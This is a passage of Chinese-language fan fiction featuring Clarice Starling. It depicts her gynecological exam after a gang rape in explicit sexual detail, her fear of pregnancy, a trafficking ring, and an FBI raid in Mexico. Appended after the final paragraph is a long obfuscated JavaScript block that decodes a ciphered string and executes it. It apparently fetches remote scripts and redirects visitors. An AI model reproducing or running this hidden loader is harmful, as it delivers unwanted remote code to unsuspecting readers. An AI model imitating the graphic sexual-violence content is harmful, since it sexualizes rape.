    還有一個多小時飛機才會起飛。思考再三,川特放棄了給羅德裡格斯打個電話的打算。史達琳婊子本事再大,這次也插翅難逃。他托運了那個小行李箱,裡面有幾個玩具,三盤錄影帶,和38萬美元的現金。他知道,機場抽查這樣小包的可能性幾乎為零,但如果隨身攜帶這樣巨額現金,反而可能招人懷疑。
    他買了份《今日美國》,在候機大廳找了家速食店,一邊瀏覽報紙,一邊細嚼慢咽手裡的三明治。
    ************
    六月二十三日,星期二,中部時間,12:30,新奧爾良
    右腳裹著厚厚的石膏,史達琳坐在輪椅裡被推進了緊急中心的婦科檢查室。一個三十歲出頭的高個醫生匆匆走進來,熱情地和史達琳握手:「特工史達琳,我是史密斯醫生,負責給你做婦科檢查。我明白對誰這都很艱難。檢查過程中,如果你覺得不舒服,或是想停下來,告訴我,沒關係。」
    「謝謝你,」史達琳語氣平靜得似乎在讀報告,她也很驚訝自己為什麼竟一點兒也不激動:「我被四個人輪姦,陰道和肛交都有。我懷疑約擴肌多處縱向撕裂。」
    「哦,」醫生輕輕拍了拍史達琳的肩頭以示安慰:「你不用說了……我們先做體液抽樣和肌體切片,確定罪犯的精液類型,再看有沒有什麼傳染病。然後是器官檢查和治療。」
    也許是麻醉藥還在起作用,整個檢查過程,甚至在醫生用藥棉清洗她的花徑和菊洞的時候,史達琳也沒什麼感覺。醫生脫下手套,幫著護士把史達琳扶回輪椅。醫生:「大小陰唇都有瘀傷,不過不嚴重,幾天就能恢復。陰道內壁有細微撕裂,也不要緊。肛門的情況糟糕一些,傷口很多,不過還沒有縫合的必要。此外,還有輕微的炎症。我給你開點抗生素,多臥床休息,多吃水果。」
    「謝謝你,醫生。」史達琳道。
    「對了,史達琳特工,」醫生等護士出去後,接著說:「你好像在受孕期。我可以幫你處理一下。很快,十五分鐘的樣子,而且不很痛,也沒有副作用。」
    聽到「受孕」兩個字,史達琳忽然全身一抖,臉色變得愈加蒼白。看到她大受震驚的樣子,醫生連忙安慰她說沒有關係,做完處理後,罪犯的汙濁一點也留不下來。處理也很簡單,絕大多數性犯罪受害者都會選擇這麼做。
    「如果出於宗教原因,你不能接受這樣的處理,我們還有其他的辦法……」
    「謝謝你,醫生,能讓我考慮5分鐘嗎?」
    「當然,當然。」醫生連忙走出檢查室,小心地帶上房門。
    史達琳的心「砰、砰、砰」跳得厲害,腦子幾乎一片空白。只有一個念頭在那裡盤旋:自己很有可能會懷上基尼的孩子!
    基尼,她的基尼。
    是她害死了基尼!
    如果昨天晚上,不是她的好奇,他們就不會去漢茲農場,基尼也不會在毫無防備中被川特槍殺!
    基尼就那樣離她而去,什麼也沒有留下。
    史達琳的心在抽搐。
    如果能懷上基尼的骨肉,那會是這段短暫但又美麗的戀情最好的紀念。會有一個孩子,長著一雙基尼那樣湛藍的眼睛。那是基尼和她的孩子,她可以看著這個孩子一點點長大,越來越像基尼。思念基尼的時候,她可以把孩子抱在懷裡。而她虧欠基尼的,也能通過孩子來補償。
    給基尼生一個孩子!
    壓抑下那股暈眩,史達琳開始細細回憶週末性愛狂歡中,基尼幾次爆發瞬間的點點滴滴。
    上次經期結束是六月一號,那麼昨天還算是危險期。基尼在週五晚上和週日夜裡,有兩次射在她的陰道裡。不過,週五傍晚在廚房桌子上那回,只有不到一半射在裡面,其餘全弄到了屁股和大腿上。而週日那次,剛做完,她就去了趟廁所。被基尼受孕的可能性,實際上並沒有看起來那麼大。
    更糟糕的是,自己還被四個歹徒輪姦過,一個白人、兩個墨西哥佬,還有那個她什麼也不知道的傑克。如果被他們中的一個受孕怎麼辦?
    心中一陣酸澀,史達琳極力冷靜下來,在腦子裡飛快地過了一遍自己被輪姦時的次序和體位,盡量回憶那四個歹徒都射到了哪裡。
    川特在她臉上射了一回,不過他的第一次,射在自己的陰道裡面。那次的量很多,那種充溢的感覺,讓史達琳不由自主夾緊了大腿,似乎擔心川特留下的穢物溢出來,弄髒自己剛換上的乾淨病號褲。對了,川特後來用冷水沖洗過自己的身體,多少會減少些受孕的機會吧!
    可是,在地下室,兩個墨西哥佬都射進了自己的下身,先是瘦高,然後是矮胖。後來她昏了過去,不知道其間發生了什麼。但她知道,那個傑克在狠狠地羞辱了她一番後,也射在陰道裡。那麼說,每一個罪犯都曾在自己的陰道裡射精,至少一次。
    被這四個人販子們強姦受孕的可能性依然很大,自己該怎麼辦?
    淚水默默地流出來,史達琳無法思考下去。她想問問醫生,懷孕多久才能辨別胎兒的膚色。不過,她馬上否決了這個可笑的想法。如果發現胎兒的父親是墨西哥佬,她能怎麼辦?就算胎兒的父親是白人,她又怎能知道父親是基尼還是川特?
    「上帝呀,我該怎麼辦?」
    絕望之中,基尼的笑容忽然浮現在她的面前,那麼真切,那麼溫暖。
    她似乎聽到基尼的聲音:「不要怕,我在這裡,我在這裡陪你。」
    史達琳意識到自己根本無法抵抗「為基尼懷個孩子」的念頭。
    有人敲門,「請進。」史達琳連忙擦了擦眼角的淚珠兒。
    一個警官匆忙走進來,遞給史達琳一部對講機,說奎因有急事。警官出去時小心地關上了房門。
    對講機裡,奎因告訴史達琳,他隨口提了提救活瘦高是多麼困難,一直頑抗的矮胖就軟下來,同意交代一切,但有交換條件,警方必須救活瘦高,並且取消對兄弟倆的一切指控,包括非法持有武器、偽造證件、販運人口、涉嫌綁架,還有對史達琳的一級性侵犯,並且要求把他們兄弟兩個都列入證人保護計劃。
    奎因強調說:「沒有你的同意,我不會點頭的。」
    史達琳沈吟一下,說:「沒關係,抓大魚、救出那些姑娘們更重要。」
    房門突然被推開了,摔脫看門的警官,一個姑娘抽泣著撲向史達琳,那是娜拉。少女抓著史達琳的手,一下癱軟在輪椅旁,放聲大哭起來。
    ************
    六月二十三日,星期二,東部時間,14:15,紐約甘迺迪國際機場
    川特順利登機。乘客不少,整個機艙沒有幾個空位子。川特前後左右都是興奮異常的遊客,一個個都穿得花花綠綠,彷彿這裡已經是人間天堂。川特輕輕吸了口氣,把頭埋進了報紙。
    終於,飛機準時起飛。
    ************
    六月二十三日,星期二,中部時間,15:30,新奧爾良
    克勞福德趕到醫院。他告訴史達琳,奎因拿到了所有關於那個墨西哥人肉黑市的信息,他和FBI總部緊張地制定了行動計劃。FBI局長說服由副國務卿出面,讓墨西哥方面開了一路綠燈。一支墨西哥特種部隊將擔任突襲的主力,行動定在30個小時後。不過,購買地下小電影的那個美國人失蹤了,新奧爾良警方正在全力緝捕。
    三小時前打了針鎮定劑,娜拉早已平靜下來。她推著史達琳的輪椅來到解剖房,基尼的屍體暫時停放在那裡。史達琳的臉上沒有任何表情,就像一塊石頭,連克勞福德也大吃了一驚。史達琳非常平靜,一點沒有在過去的16個小時裡連遭淫辱的痕跡。
    史達琳的聲音毫無表情,說她雖然很想參加明天在墨西哥的行動,但她的腳斷掉了。「我只想先回基尼那兒,」她甚至淡淡笑了笑:「洗一個澡,然後回來再陪陪他。」
    ************
    六月二十三日,星期二,墨西哥時間,17:45,墨西哥
    羅德裡格斯有些煩躁不安。馬裡奧兄弟應該兩個小時前就回到墨西哥境內,即使路上有了耽擱,也會先打個電話回來說一聲。這樣一點兒動靜也沒有的事情從來沒有發生過,也許不該淌買賣FBI女特工這趟渾水?
    他剛給那個哥倫比亞大毒梟的代理人打了電話,說最近風聲太緊,那兩個美國小妞的運送日期能不能後推一個星期。對方當然十分不滿,咆哮著下不為例。掛下電話,羅德裡格斯擦了擦腦門的冷汗。
    他決定等到晚上,如果還沒有馬裡奧兄弟的消息,他就得打幾個電話。在墨西哥城和本地,他都有一些警員朋友,他可不想一無所知的就被別人抄了老窩。
    ************
    六月二十三日,星期二,東部時間,19:35,凱曼群島
    經過非常簡單的入境手續,川特長長地吐了口氣走出海關。大海就在面前,大街上人來人往,喧鬧嘈雜,不過,吸引川特目光的,並不是周圍一群群漂亮的比基尼女郎,而是穿過棕櫚樹的夕陽。他從來沒有留意過,海濱的落日居然如此燦爛,如此美麗。
    微笑著戴上了墨鏡,川特拖著自己的行李箱,緩緩走進熱帶的夕陽之中。
    ************
    六月二十四日,星期三,墨西哥時間,23:00,墨西哥
    墨西哥和FBI的聯合襲擊開始了,四百特種部隊和七十名FBI特工同時突襲了羅德裡格斯的四家地下妓院,奎因擔任美方的現場指揮,整個行動非常成功。在被解救的近20名美國少女中,奎因發現了蓓絲,告訴她史達琳是救她回來最大的功臣。只穿了條輕薄睡袍的蓓絲,披著一條特警給她的浴巾,趴在奎因的肩頭泣不成聲。
    終於,她對奎因掙紮著嗚咽了一句:「我終於活下來了……」
    然而,羅德裡格斯和幾個骨幹卻漏網了。其實,兩天都沒有馬裡奧兄弟的消息,羅德裡格斯就斷定一定出了什麼毛病,早早做好了出逃的準備。傍晚時分,他接到一個來自墨西哥警方高層的電話,放下電話,用十分鐘時間砸爛客廳裡所有可以砸爛的家俱後,墨西哥佬帶著幾個貼身保鏢,悄悄離開了海灣的豪宅。
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();